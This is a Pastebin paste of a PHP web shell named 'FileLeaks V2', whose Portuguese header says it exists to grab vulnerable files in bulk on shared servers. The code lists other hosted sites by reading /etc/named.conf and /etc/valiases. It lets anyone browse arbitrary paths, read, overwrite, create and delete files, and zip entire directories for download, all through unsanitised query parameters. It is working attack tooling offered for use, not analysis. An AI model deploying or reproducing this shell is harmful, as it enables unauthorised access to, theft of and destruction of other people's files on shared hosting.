Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>FileLeaks V2</title>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- </head>
- <body style="background: black; padding-top: -10px;">
- <div class='header' style='color: white ; font-family: sans; height: 90px; width: 98%; background: url("http://hamboldt.com.br/head_bg.png"); padding: 10px;'>
- <b>FileLeaks V2</b><br/>
- <span style="font-size: 12px"> Ferramenta idealizada e produzida por "Lucas Andrade de Araújo" com o ideal de obter acesso a arquivos vulneráveis em massa
- em servidores locais com sincronia a banco de dados para arquivamento em massa e com possibilidade de download de todos os arquivos obtidos.
- <b>Este é um arquivo privado e não deve ser compartilhado!</b> <br/><br/>
- <a href="?home" style="text-decoration: none; color: white"> Home </a> | Zip ( <B>Made in Brazil</B> )</span> <span style='padding-left: 91%;'> <img src='http://cdn1.iconfinder.com/data/icons/famfamfam_flag_icons/br.png'> <img src='http://cdn1.iconfinder.com/data/icons/famfamfam_flag_icons/ru.png'> <img src='http://cdn1.iconfinder.com/data/icons/famfamfam_flag_icons/in.png'> <img src='http://cdn1.iconfinder.com/data/icons/famfamfam_flag_icons/cn.png'> </span>
- </div>
- <div class = "body" style = "height: auto; width: 98%; background: rgb(64,64,64); font-family: sans; color: white; padding: 10px; font-size: 12px">
- <?php
- /**
- * Projeto FileLeaks V2
- * visando maior performance para trabalhar em
- * outras estruturas de servidores inclusive windows
- * Projeto iniciado em:
- * Segunda-Feira, 18 de Julho de 2011 - 21:11
- */
- ini_set ('error_logs', false);
- ini_set ('display_errors', false);
- function _opensites() {
- preg_match_all('/.*?zone "(.*?)" {/', file_get_contents("/etc/named.conf"), $Matches);
- for($i = 0; $i < count($Matches[1])/2; $i++) {
- $user = posix_getpwuid(fileowner("/etc/valiases/".$Matches[1][$i]));
- if(opendir($user["dir"]."/public_html")) {
- print("<a href='http://www.{$Matches[1][$i]}'><img src='http://cdn1.iconfinder.com/data/icons/socialmediaicons_v120/16/website.png'></a> <a href=?path=".$user['dir']."/public_html> <img src='http://cdn1.iconfinder.com/data/icons/musthave/16/Folder.png'></a> {$Matches[1][$i]} <br/>");
- }
- }
- }
- if($_GET['path'] != null) {
- if(is_dir($_GET['path'])) {
- print("<img src='http://cdn1.iconfinder.com/data/icons/Basic_set2_Png/16/arrow_down.png'> <a style='text-decoration:none; color: white' href='?zip_path={$_GET['path']}'> Download <b>{$_GET['path']}</b>.</a><br/><br/>");
- $dir = opendir($_GET['path']);
- while (false !== $readdir = readdir($dir)) {
- if(is_dir($_GET['path'].'/'.$readdir)) {
- if(is_writable($_GET['path'].'/'.$readdir)) {
- print("<a style='text-decoration:none; color: white' href=?path=".$_GET['path'].'/'.$readdir."> <img src='http://cdn1.iconfinder.com/data/icons/musthave/16/Folder.png'> $readdir</a> (<a style='text-decoration:none; color: white' href=?path=".$_GET['path'].'/'.$readdir."><b>RW</b></a>)<br>");
- }
- else {
- print("<a style='text-decoration:none; color: white' href=?path=".urlencode($_GET['path'].'/'.$readdir)."> <img src='http://cdn1.iconfinder.com/data/icons/musthave/16/Folder.png'> $readdir</a> <br>");
- }
- }
- if(is_file($_GET['path'].'/'.$readdir)) {
- if(is_writable($_GET['path'].'/'.$readdir)) {
- print("<a style='text-decoration:none; color: white' href=?path=".urlencode($_GET['path'].'/'.$readdir)."> <img src='http://cdn1.iconfinder.com/data/icons/musthave/16/New.png'> $readdir</a> <span style='padding-left: 2%'> [<a style='text-decoration:none; color: white' href=?path=".urlencode($_GET['path'].'/'.$readdir)."><b>RW</b></a>] [<a style='text-decoration:none; color: white' href=?unlink=".urlencode($_GET['path'].'/'.$readdir)."><b>Remove</b></a>]</span><br>");
- }
- else {
- print("<a style='text-decoration:none; color: white' href=?path=".urlencode($_GET['path'].'/'.$readdir)."> <img src='http://cdn1.iconfinder.com/data/icons/musthave/16/New.png'> $readdir</a> <br>");
- }
- }
- }
- }
- }
- if(is_file($_GET['path'])) {
- if($_POST['content'] != null) {
- $file = fopen($_GET['path'], 'w+');
- if(fwrite($file, $_POST['content'])) {
- print("<img src='http://cdn1.iconfinder.com/data/icons/silk2/tick.png'> Salvo! (<a style='color: white; text-decoration: none' href='?path=".urlencode($_GET['path'])."'><b>Continuar editando</b></a>)");
- }
- else {
- print("<img src='http://cdn2.iconfinder.com/data/icons/diagona/icon/16/101.png'> Erro! (<a style='color: white; text-decoration: none' href='?path=".urlencode($_GET['path'])."><b>Voltar</b></a>)");
- }
- }
- else {
- print("<b>Arquivo:</b> {$_GET['path']}<br/><br/> <form action='' method='post'>
- <textarea name='content' style='background: rgb(16,16,16); color: #009933; border: 3px solid #000; width: 100%; height: 70%'>".htmlentities(file_get_contents($_GET['path']))."</textarea> <br/><br/>
- <input type='submit' value='salvar'></form>");
- }
- }
- if($_GET['path'] != null && file_exists($_GET['path']) == false) {
- if($_POST['content'] != null) {
- $file = fopen($_GET['path'], 'w+');
- if(fwrite($file, $_POST['content'])) {
- print("<img src='http://cdn1.iconfinder.com/data/icons/silk2/tick.png'> Salvo! (<a style='color: white; text-decoration: none' href='?path={$_GET['path']}'><b>Continuar editando</b></a>)");
- }
- else {
- print("<img src='http://cdn2.iconfinder.com/data/icons/diagona/icon/16/101.png'> Erro! (<a style='color: white; text-decoration: none' href='?path={$_GET['path']}'><b>Voltar</b></a>)");
- }
- }
- else {
- print("<b>Novo Arquivo:</b> {$_GET['path']}<br/><br/> <form action='' method='post'>
- <textarea name='content' style='background: rgb(16,16,16); color: #009933; border: 3px solid #000; width: 100%; height: 70%'>".htmlentities(file_get_contents($_GET['path']))."</textarea> <br/><br/>
- <input type='submit' value='salvar'></form>");
- }
- }
- if($_GET['unlink'] != null) {
- if(file_exists($_GET['unlink'])) {
- if(unlink($_GET['unlink'])) {
- print("<img src='http://cdn1.iconfinder.com/data/icons/silk2/tick.png'> Excluido (<a style='color: white; text-decoration: none' href='javascript:history.go(-1);'> <b>voltar</b></a> )");
- }
- else {
- print("<img src='http://cdn2.iconfinder.com/data/icons/diagona/icon/16/101.png'> Erro ao remover, cheque suas permissões. (<a style='color: white; text-decoration: none' href='javascript:history.go(-1);'> <b>voltar</b></a> )");
- }
- } else {
- print("<img src='http://cdn2.iconfinder.com/data/icons/diagona/icon/16/101.png'> o arquivo <b>". htmlentities($_GET['unlink'])."</b> não existe! (<a style='color: white; text-decoration: none' href='javascript:history.go(-1);'> <b>voltar</b></a> )");
- }
- }
- if($_GET['zip_path'] != null) {
- $path = $_GET['zip_path'];
- if($path = opendir($path)) {
- unlink("./fileleaks.zip");
- $zip = new ZipArchive();
- if($zip->open("fileleaks.zip", ZIPARCHIVE::OVERWRITE) == TRUE ) {
- print("<img src='http://cdn4.iconfinder.com/data/icons/spirit20/file-zip.png'> Arquivos adicionados em fileleaks.zip: <br>");
- while (false !== ($file = readdir($path))) {
- if(is_file($_GET['zip_path'].'/'.$file) && is_readable($_GET['zip_path'].'/'.$file)) {
- if($zip->addFile($_GET['zip_path'].'/'.$file, $file)) {
- print("<span style='padding-left: 20px'> <img src='http://cdn1.iconfinder.com/data/icons/silk2/tick.png'> arquivo <b>$file</b> salvo com sucesso! [".filesize($_GET['zip_path'].'/'.$file)/(1000000)." MB]</span> <br>");
- }
- }
- }
- $zip->close();
- print("<br> <a style='text-decoration: none; color: white' href='fileleaks.zip'><b>Baixar</b></a> [ fileleaks.zip ".filesize("fileleaks.zip")/(1000000)." MB ]");
- }
- }
- }
- if($_GET['path'] == null && $_GET['unlink'] == null && $_GET['zip_path'] == null) {
- _opensites();
- }
- ?>
Add Comment
Please, Sign In to add comment